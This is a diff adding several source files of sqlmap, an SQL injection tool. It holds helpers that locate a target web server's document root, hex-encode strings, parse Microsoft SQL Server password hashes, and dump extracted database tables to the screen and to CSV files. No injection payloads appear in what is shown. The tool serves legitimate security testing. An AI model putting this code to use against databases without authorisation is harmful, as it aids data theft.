logMsg += "file absolute system paths: "
|
||||
logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
warnMsg = "unable to retrieve the injectable file "
|
||||
warnMsg += "absolute system path"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
for absFilePath in kb.absFilePaths:
|
||||
if conf.path in absFilePath:
|
||||
index = absFilePath.index(conf.path)
|
||||
docRoot = absFilePath[:index]
|
||||
break
|
||||
|
||||
if docRoot:
|
||||
logMsg = "retrieved the remote web server "
|
||||
logMsg += "document root: '%s'" % docRoot
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
warnMsg = "unable to retrieve the remote web server "
|
||||
warnMsg += "document root"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return docRoot
|
||||
|
||||
|
||||
def getDirectories():
|
||||
"""
|
||||
This method calls a function that returns the web application document
|
||||
root and injectable file absolute system path.
|
||||
|
||||
@return: a set of paths (document root and absolute system path).
|
||||
@rtype: C{set}
|
||||
@todo: replace this function with a site crawling functionality.
|
||||
"""
|
||||
|
||||
directories = set()
|
||||
|
||||
kb.docRoot = getDocRoot()
|
||||
|
||||
if kb.docRoot:
|
||||
directories.add(kb.docRoot)
|
||||
|
||||
pagePath = re.search('^/(.*)/', conf.path)
|
||||
|
||||
if kb.docRoot and pagePath:
|
||||
pagePath = pagePath.groups()[0]
|
||||
|
||||
directories.add("%s/%s" % (kb.docRoot, pagePath))
|
||||
|
||||
return directories
|
||||
|
||||
|
||||
def filePathToString(filePath):
|
||||
string = filePath.replace("/", "_").replace("\\", "_")
|
||||
string = string.replace(" ", "_").replace(":", "_")
|
||||
|
||||
return string
|
||||
|
||||
|
||||
def dataToStdout(data):
|
||||
sys.stdout.write(data)
|
||||
sys.stdout.flush()
|
||||
|
||||
|
||||
def dataToSessionFile(data):
|
||||
conf.sessionFP.write(data)
|
||||
conf.sessionFP.flush()
|
||||
|
||||
|
||||
def dataToDumpFile(dumpFile, data):
|
||||
dumpFile.write(data)
|
||||
dumpFile.flush()
|
||||
|
||||
|
||||
def strToHex(string):
|
||||
"""
|
||||
@param string: string to be converted into its hexadecimal value.
|
||||
@type string: C{str}
|
||||
|
||||
@return: the hexadecimal converted string.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
hexStr = ""
|
||||
|
||||
for character in string:
|
||||
if character == "\n":
|
||||
character = " "
|
||||
|
||||
hexChar = "%2x" % ord(character)
|
||||
hexChar = hexChar.replace(" ", "0")
|
||||
hexChar = hexChar.upper()
|
||||
|
||||
hexStr += hexChar
|
||||
|
||||
return hexStr
|
||||
|
||||
|
||||
def fileToStr(fileName):
|
||||
"""
|
||||
@param fileName: file path to read the content and return as a no
|
||||
NEWLINE string.
|
||||
@type fileName: C{file.open}
|
||||
|
||||
@return: the file content as a string without TAB and NEWLINE.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
filePointer = open(fileName, "r")
|
||||
fileText = filePointer.read()
|
||||
|
||||
fileText = fileText.replace(" ", "")
|
||||
fileText = fileText.replace("\t", "")
|
||||
fileText = fileText.replace("\r", "")
|
||||
fileText = fileText.replace("\n", " ")
|
||||
|
||||
return fileText
|
||||
|
||||
|
||||
def fileToHex(fileName):
|
||||
"""
|
||||
@param fileName: file path to read the content and return as an
|
||||
hexadecimal string.
|
||||
@type fileName: C{file.open}
|
||||
|
||||
@return: the file content as an hexadecimal string.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
fileText = fileToStr(fileName)
|
||||
hexFile = strToHex(fileText)
|
||||
|
||||
return hexFile
|
||||
|
||||
|
||||
def readInput(message, default=None):
|
||||
"""
|
||||
@param message: message to display on terminal.
|
||||
@type message: C{str}
|
||||
|
||||
@return: a string read from keyboard as input.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if conf.batch and default:
|
||||
infoMsg = "%s%s" % (message, str(default))
|
||||
logger.info(infoMsg)
|
||||
|
||||
debugMsg = "used the default behaviour, running in batch mode"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
data = default
|
||||
else:
|
||||
data = raw_input("[%s] [INPUT] %s" % (time.strftime("%X"), message))
|
||||
|
||||
return data
|
||||
|
||||
|
||||
def randomRange(start=0, stop=1000):
|
||||
"""
|
||||
@param start: starting number.
|
||||
@type start: C{int}
|
||||
|
||||
@param stop: last number.
|
||||
@type stop: C{int}
|
||||
|
||||
@return: a random number within the range.
|
||||
@rtype: C{int}
|
||||
"""
|
||||
|
||||
return int(random.randint(start, stop))
|
||||
|
||||
|
||||
def randomInt(length=4):
|
||||
"""
|
||||
@param length: length of the random string.
|
||||
@type length: C{int}
|
||||
|
||||
@return: a random string of digits.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
|
||||
|
||||
|
||||
def randomStr(length=5):
|
||||
"""
|
||||
@param length: length of the random string.
|
||||
@type length: C{int}
|
||||
|
||||
@return: a random string of characters.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
return "".join([random.choice(string.letters) for _ in xrange(0, length)])
|
||||
|
||||
|
||||
def sanitizeStr(string):
|
||||
"""
|
||||
@param string: string to sanitize: cast to str datatype and replace
|
||||
newlines with one space and strip carriage returns.
|
||||
@type string: C{str}
|
||||
|
||||
@return: sanitized string
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
cleanString = str(string)
|
||||
cleanString = cleanString.replace("\n", " ").replace("\r", "")
|
||||
|
||||
return cleanString
|
||||
|
||||
|
||||
def checkFile(filename):
|
||||
"""
|
||||
@param filename: filename to check if it exists.
|
||||
@type filename: C{str}
|
||||
"""
|
||||
|
||||
if not os.path.exists(filename):
|
||||
raise sqlmapFilePathException, "unable to read file '%s'" % filename
|
||||
|
||||
|
||||
def replaceNewlineTabs(string):
|
||||
replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
|
||||
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
|
||||
|
||||
return replacedString
|
||||
|
||||
|
||||
def banner():
|
||||
"""
|
||||
This function prints sqlmap banner with its version
|
||||
"""
|
||||
|
||||
print """
|
||||
%s coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
""" % VERSION_STRING
|
||||
|
||||
|
||||
def parsePasswordHash(password):
|
||||
blank = " " * 8
|
||||
|
||||
if not password or password == " ":
|
||||
password = "NULL"
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server" and password != "NULL":
|
||||
hexPassword = password
|
||||
password = "%s\n" % hexPassword
|
||||
password += "%sheader: %s\n" % (blank, hexPassword[:6])
|
||||
password += "%ssalt: %s\n" % (blank, hexPassword[6:14])
|
||||
password += "%smixedcase: %s\n" % (blank, hexPassword[14:54])
|
||||
|
||||
if kb.dbmsVersion[0] not in ( "2005", "2008" ):
|
||||
password += "%suppercase: %s" % (blank, hexPassword[54:])
|
||||
|
||||
return password
|
||||
|
||||
|
||||
def cleanQuery(query):
|
||||
upperQuery = query.replace("select ", "SELECT ")
|
||||
upperQuery = upperQuery.replace(" from ", " FROM ")
|
||||
upperQuery = upperQuery.replace(" limit ", " LIMIT ")
|
||||
upperQuery = upperQuery.replace(" offset ", " OFFSET ")
|
||||
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
|
||||
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
|
||||
upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
|
||||
|
||||
return upperQuery
|
||||
|
||||
|
||||
def setPaths():
|
||||
# sqlmap paths
|
||||
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
|
||||
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
|
||||
|
||||
# sqlmap files
|
||||
paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
|
||||
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
|
||||
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
|
||||
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_PATH
|
||||
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
|
||||
|
||||
|
||||
def weAreFrozen():
|
||||
"""
|
||||
Returns whether we are frozen via py2exe.
|
||||
This will affect how we find out where we are located.
|
||||
Reference: http://www.py2exe.org/index.cgi/WhereAmI
|
||||
"""
|
||||
|
||||
return hasattr(sys, "frozen")
|
||||
|
||||
|
||||
def parseTargetUrl():
|
||||
"""
|
||||
Parse target url and set some attributes into the configuration
|
||||
singleton.
|
||||
"""
|
||||
|
||||
if not conf.url:
|
||||
return
|
||||
|
||||
if not re.search("^http[s]*://", conf.url):
|
||||
if ":443/" in conf.url:
|
||||
conf.url = "https://" + conf.url
|
||||
else:
|
||||
conf.url = "http://" + conf.url
|
||||
|
||||
__urlSplit = urlparse.urlsplit(conf.url)
|
||||
__hostnamePort = __urlSplit[1].split(":")
|
||||
|
||||
conf.scheme = __urlSplit[0]
|
||||
conf.path = __urlSplit[2]
|
||||
conf.hostname = __hostnamePort[0]
|
||||
|
||||
if len(__hostnamePort) == 2:
|
||||
conf.port = int(__hostnamePort[1])
|
||||
elif conf.scheme == "https":
|
||||
conf.port = 443
|
||||
else:
|
||||
conf.port = 80
|
||||
|
||||
if __urlSplit[3]:
|
||||
conf.parameters["GET"] = __urlSplit[3]
|
||||
|
||||
conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path)
|
||||
|
||||
|
||||
def expandAsteriskForColumns(expression):
|
||||
# If the user provided an asterisk rather than the column(s)
|
||||
# name, sqlmap will retrieve the columns itself and reprocess
|
||||
# the SQL query string (expression)
|
||||
asterisk = re.search("^SELECT\s+\*\s+FROM\s+(\w+)[\.]+(\w+)\s*", expression, re.I)
|
||||
|
||||
if asterisk:
|
||||
infoMsg = "you did not provide the fields in your query. "
|
||||
infoMsg += "sqlmap will retrieve the column names itself"
|
||||
logger.info(infoMsg)
|
||||
|
||||
conf.db = asterisk.group(1)
|
||||
conf.tbl = asterisk.group(2)
|
||||
columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)
|
||||
|
||||
if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
|
||||
columns = columnsDict[conf.db][conf.tbl].keys()
|
||||
columns.sort()
|
||||
columnsStr = ", ".join([column for column in columns])
|
||||
expression = expression.replace("*", columnsStr, 1)
|
||||
|
||||
infoMsg = "the query with column names is: "
|
||||
infoMsg += "%s" % expression
|
||||
logger.info(infoMsg)
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
def getRange(count, dump=False):
|
||||
count = int(count)
|
||||
indexRange = None
|
||||
limitStart = 1
|
||||
limitStop = count
|
||||
|
||||
if dump:
|
||||
if isinstance(conf.limitStop, int) and conf.limitStop < count:
|
||||
limitStop = conf.limitStop
|
||||
|
||||
if isinstance(conf.limitStart, int) and conf.limitStart <= limitStop:
|
||||
limitStart = conf.limitStart
|
||||
|
||||
# TODO: also for Microsoft SQL Server in getColumns method?
|
||||
if kb.dbms == "Oracle":
|
||||
indexRange = range(limitStart, limitStop + 1)
|
||||
else:
|
||||
indexRange = range(limitStart - 1, limitStop)
|
||||
|
||||
return indexRange
|
||||
82
lib/core/convert.py
Normal file
82
lib/core/convert.py
Normal file
@@ -0,0 +1,82 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: convert.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import md5
|
||||
import sha
|
||||
import struct
|
||||
import urllib
|
||||
|
||||
|
||||
def base64decode(string):
|
||||
return string.decode("base64")
|
||||
|
||||
|
||||
def base64encode(string):
|
||||
return string.encode("base64")[:-1]
|
||||
|
||||
|
||||
def hexdecode(string):
|
||||
string = string.lower()
|
||||
|
||||
if string.startswith("0x"):
|
||||
string = string[2:]
|
||||
|
||||
return string.decode("hex")
|
||||
|
||||
|
||||
def hexencode(string):
|
||||
return string.encode("hex")
|
||||
|
||||
|
||||
def md5hash(string):
|
||||
return md5.new(string).hexdigest()
|
||||
|
||||
|
||||
def orddecode(string):
|
||||
packedString = struct.pack("!"+"I" * len(string), *string)
|
||||
return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
|
||||
|
||||
|
||||
def ordencode(string):
|
||||
return tuple([ord(char) for char in string])
|
||||
|
||||
|
||||
def sha1hash(string):
|
||||
return sha.new(string).hexdigest()
|
||||
|
||||
|
||||
def urldecode(string):
|
||||
if not string:
|
||||
return
|
||||
|
||||
return urllib.unquote_plus(string)
|
||||
|
||||
|
||||
def urlencode(string, safe=":/?%&="):
|
||||
if not string:
|
||||
return
|
||||
|
||||
return urllib.quote(string, safe)
|
||||
48
lib/core/data.py
Normal file
48
lib/core/data.py
Normal file
@@ -0,0 +1,48 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: data.py 247 2008-07-19 23:07:26Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.datatype import advancedDict
|
||||
from lib.core.settings import LOGGER
|
||||
|
||||
# sqlmap paths
|
||||
paths = advancedDict()
|
||||
|
||||
# object to share within function and classes command
|
||||
# line options and settings
|
||||
conf = advancedDict()
|
||||
|
||||
# object to share within function and classes results
|
||||
kb = advancedDict()
|
||||
|
||||
# object to share within function and classes temporary data,
|
||||
# just for internal use
|
||||
temp = advancedDict()
|
||||
|
||||
# object with each database management system specific queries
|
||||
queries = {}
|
||||
|
||||
# logger
|
||||
logger = LOGGER
|
||||
77
lib/core/datatype.py
Normal file
77
lib/core/datatype.py
Normal file
@@ -0,0 +1,77 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: datatype.py 316 2008-08-03 22:56:20Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
from lib.core.exception import sqlmapDataException
|
||||
|
||||
|
||||
class advancedDict(dict):
|
||||
"""
|
||||
This class defines the sqlmap object, inheriting from Python data
|
||||
type dictionary.
|
||||
"""
|
||||
|
||||
def __init__(self, indict=None, attribute=None):
|
||||
if indict is None:
|
||||
indict = {}
|
||||
|
||||
# Set any attributes here - before initialisation
|
||||
# these remain as normal attributes
|
||||
self.attribute = attribute
|
||||
dict.__init__(self, indict)
|
||||
self.__initialised = True
|
||||
|
||||
# After initialisation, setting attributes
|
||||
# is the same as setting an item
|
||||
|
||||
|
||||
def __getattr__(self, item):
|
||||
"""
|
||||
Maps values to attributes
|
||||
Only called if there *is NOT* an attribute with this name
|
||||
"""
|
||||
|
||||
try:
|
||||
return self.__getitem__(item)
|
||||
except KeyError:
|
||||
raise sqlmapDataException, "Unable to access item '%s'" % item
|
||||
|
||||
|
||||
def __setattr__(self, item, value):
|
||||
"""
|
||||
Maps attributes to values
|
||||
Only if we are initialised
|
||||
"""
|
||||
|
||||
# This test allows attributes to be set in the __init__ method
|
||||
if not self.__dict__.has_key('_advancedDict__initialised'):
|
||||
return dict.__setattr__(self, item, value)
|
||||
|
||||
# Any normal attributes are handled normally
|
||||
elif self.__dict__.has_key(item):
|
||||
dict.__setattr__(self, item, value)
|
||||
|
||||
else:
|
||||
self.__setitem__(item, value)
|
||||
|
||||
307
lib/core/dump.py
Normal file
307
lib/core/dump.py
Normal file
@@ -0,0 +1,307 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: dump.py 360M 2008-10-15 00:04:47Z (local) $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
import os
|
||||
|
||||
from lib.core.common import dataToDumpFile
|
||||
from lib.core.common import filePathToString
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
|
||||
|
||||
class Dump:
|
||||
"""
|
||||
This class defines methods used to parse and output the results
|
||||
of SQL injection actions
|
||||
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.__outputFile = None
|
||||
self.__outputFP = None
|
||||
|
||||
|
||||
def __write(self, data, n=True, rFile=False):
|
||||
if n:
|
||||
print data
|
||||
self.__outputFP.write("%s\n" % data)
|
||||
|
||||
# TODO: do not duplicate queries output in the text file, check
|
||||
# before if the data is already within the text file content
|
||||
if rFile and conf.rFile:
|
||||
rFile = filePathToString(conf.rFile)
|
||||
rFileFP = open("%s%s%s" % (conf.filePath, os.sep, rFile), "w")
|
||||
rFileFP.write(data)
|
||||
rFileFP.close()
|
||||
else:
|
||||
print data,
|
||||
self.__outputFP.write("%s " % data)
|
||||
|
||||
self.__outputFP.flush()
|
||||
|
||||
conf.loggedToOut = True
|
||||
|
||||
|
||||
def setOutputFile(self):
|
||||
self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
|
||||
self.__outputFP = open(self.__outputFile, "a")
|
||||
|
||||
|
||||
def string(self, header, data):
|
||||
if isinstance(data, (list, tuple, set)):
|
||||
self.lister(header, data)
|
||||
|
||||
return
|
||||
|
||||
if data:
|
||||
data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t")
|
||||
data = data.replace("__START__", "").replace("__STOP__", "")
|
||||
data = data.replace("__DEL__", ", ")
|
||||
|
||||
if "\n" in data:
|
||||
self.__write("%s:\n---\n%s---\n" % (header, data), rFile=header)
|
||||
else:
|
||||
self.__write("%s: '%s'\n" % (header, data))
|
||||
else:
|
||||
self.__write("%s:\tNone\n" % header)
|
||||
|
||||
|
||||
def lister(self, header, elements):
|
||||
self.__write("%s [%d]:" % (header, len(elements)))
|
||||
|
||||
try:
|
||||
elements = set(elements)
|
||||
elements = list(elements)
|
||||
elements.sort(key=lambda x: x.lower())
|
||||
except:
|
||||
pass
|
||||
|
||||
for element in elements:
|
||||
if isinstance(element, str):
|
||||
self.__write("[*] %s" % element)
|
||||
elif isinstance(element, (list, tuple, set)):
|
||||
self.__write("[*] " + ", ".join(e for e in element))
|
||||
|
||||
self.__write("")
|
||||
|
||||
|
||||
def userSettings(self, header, userSettings, subHeader):
|
||||
self.__areAdmins = set()
|
||||
|
||||
self.__write("%s:" % header)
|
||||
|
||||
if isinstance(userSettings, (tuple, list, set)):
|
||||
self.__areAdmins = userSettings[1]
|
||||
userSettings = userSettings[0]
|
||||
|
||||
users = userSettings.keys()
|
||||
users.sort(key=lambda x: x.lower())
|
||||
|
||||
for user in users:
|
||||
settings = userSettings[user]
|
||||
|
||||
if user in self.__areAdmins:
|
||||
self.__write("[*] %s (administrator) [%d]:" % (user, len(settings)))
|
||||
else:
|
||||
self.__write("[*] %s [%d]:" % (user, len(settings)))
|
||||
|
||||
settings.sort()
|
||||
|
||||
for setting in settings:
|
||||
self.__write(" %s: %s" % (subHeader, setting))
|
||||
print
|
||||
|
||||
|
||||
def dbTables(self, dbTables):
|
||||
maxlength = 0
|
||||
|
||||
for tables in dbTables.values():
|
||||
for table in tables:
|
||||
maxlength = max(maxlength, len(table))
|
||||
|
||||
lines = "-" * (int(maxlength) + 2)
|
||||
|
||||
for db, tables in dbTables.items():
|
||||
tables.sort(key=lambda x: x.lower())
|
||||
|
||||
self.__write("Database: %s" % db)
|
||||
|
||||
if len(tables) == 1:
|
||||
self.__write("[1 table]")
|
||||
else:
|
||||
self.__write("[%d tables]" % len(tables))
|
||||
|
||||
self.__write("+%s+" % lines)
|
||||
|
||||
for table in tables:
|
||||
blank = " " * (maxlength - len(table))
|
||||
self.__write("| %s%s |" % (table, blank))
|
||||
|
||||
self.__write("+%s+\n" % lines)
|
||||
|
||||
|
||||
def dbTableColumns(self, tableColumns):
|
||||
for db, tables in tableColumns.items():
|
||||
if not db:
|
||||
db = "All"
|
||||
|
||||
for table, columns in tables.items():
|
||||
maxlength1 = 0
|
||||
maxlength2 = 0
|
||||
|
||||
colList = columns.keys()
|
||||
colList.sort(key=lambda x: x.lower())
|
||||
|
||||
for column in colList:
|
||||
colType = columns[column]
|
||||
maxlength1 = max(maxlength1, len(column))
|
||||
maxlength2 = max(maxlength2, len(colType))
|
||||
|
||||
maxlength1 = max(maxlength1, len("COLUMN"))
|
||||
maxlength2 = max(maxlength2, len("TYPE"))
|
||||
lines1 = "-" * (int(maxlength1) + 2)
|
||||
lines2 = "-" * (int(maxlength2) + 2)
|
||||
|
||||
self.__write("Database: %s\nTable: %s" % (db, table))
|
||||
|
||||
if len(columns) == 1:
|
||||
self.__write("[1 column]")
|
||||
else:
|
||||
self.__write("[%d columns]" % len(columns))
|
||||
|
||||
self.__write("+%s+%s+" % (lines1, lines2))
|
||||
|
||||
blank1 = " " * (maxlength1 - len("COLUMN"))
|
||||
blank2 = " " * (maxlength2 - len("TYPE"))
|
||||
|
||||
self.__write("| Column%s | Type%s |" % (blank1, blank2))
|
||||
self.__write("+%s+%s+" % (lines1, lines2))
|
||||
|
||||
for column in colList:
|
||||
colType = columns[column]
|
||||
blank1 = " " * (maxlength1 - len(column))
|
||||
blank2 = " " * (maxlength2 - len(colType))
|
||||
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
|
||||
|
||||
self.__write("+%s+%s+\n" % (lines1, lines2))
|
||||
|
||||
|
||||
def dbTableValues(self, tableValues):
|
||||
db = tableValues["__infos__"]["db"]
|
||||
if not db:
|
||||
db = "All"
|
||||
table = tableValues["__infos__"]["table"]
|
||||
|
||||
if not conf.googleDork:
|
||||
dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db)
|
||||
|
||||
if not os.path.isdir(dumpDbPath):
|
||||
os.makedirs(dumpDbPath, 0755)
|
||||
|
||||
dumpFileName = "%s%s%s.csv" % (dumpDbPath, os.sep, table)
|
||||
dumpFP = open(dumpFileName, "w")
|
||||
|
||||
count = int(tableValues["__infos__"]["count"])
|
||||
separator = ""
|
||||
field = 1
|
||||
fields = len(tableValues) - 1
|
||||
|
||||
columns = tableValues.keys()
|
||||
columns.sort(key=lambda x: x.lower())
|
||||
|
||||
for column in columns:
|
||||
if column != "__infos__":
|
||||
info = tableValues[column]
|
||||
lines = "-" * (int(info["length"]) + 2)
|
||||
separator += "+%s" % lines
|
||||
|
||||
separator += "+"
|
||||
self.__write("Database: %s\nTable: %s" % (db, table))
|
||||
|
||||
if count == 1:
|
||||
self.__write("[1 entry]")
|
||||
else:
|
||||
self.__write("[%d entries]" % count)
|
||||
|
||||
self.__write(separator)
|
||||
|
||||
for column in columns:
|
||||
if column != "__infos__":
|
||||
info = tableValues[column]
|
||||
maxlength = int(info["length"])
|
||||
blank = " " * (maxlength - len(column))
|
||||
self.__write("| %s%s" % (column, blank), n=False)
|
||||
|
||||
if not conf.googleDork and field == fields:
|
||||
dataToDumpFile(dumpFP, "\"%s\"" % column)
|
||||
else:
|
||||
dataToDumpFile(dumpFP, "\"%s\"," % column)
|
||||
|
||||
field += 1
|
||||
|
||||
self.__write("|\n%s" % separator)
|
||||
if not conf.googleDork:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
|
||||
for i in range(count):
|
||||
field = 1
|
||||
|
||||
for column in columns:
|
||||
if column != "__infos__":
|
||||
info = tableValues[column]
|
||||
value = info["values"][i]
|
||||
|
||||
if re.search("^[\ *]*$", value):
|
||||
value = "NULL"
|
||||
|
||||
maxlength = int(info["length"])
|
||||
blank = " " * (maxlength - len(value))
|
||||
self.__write("| %s%s" % (value, blank), n=False)
|
||||
|
||||
if field == fields:
|
||||
dataToDumpFile(dumpFP, "\"%s\"" % value)
|
||||
else:
|
||||
dataToDumpFile(dumpFP, "\"%s\"," % value)
|
||||
|
||||
field += 1
|
||||
|
||||
self.__write("|")
|
||||
if not conf.googleDork:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
|
||||
self.__write("%s\n" % separator)
|
||||
|
||||
if not conf.googleDork:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
dumpFP.close()
|
||||
|
||||
logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
|
||||
|
||||
|
||||
# object to manage how to print the retrieved queries output to
|
||||
# standard output and sessions file
|
||||
dumper = Dump()
|
||||
109
lib/core/exception.py
Normal file
109
lib/core/exception.py
Normal file
@@ -0,0 +1,109 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: exception.py 316 2008-08-03 22:56:20Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.settings import VERSION_STRING
|
||||
|
||||
|
||||
class sqlmapConnectionException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapDataException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapFilePathException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapGenericException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapMissingMandatoryOptionException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapNoneDataException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
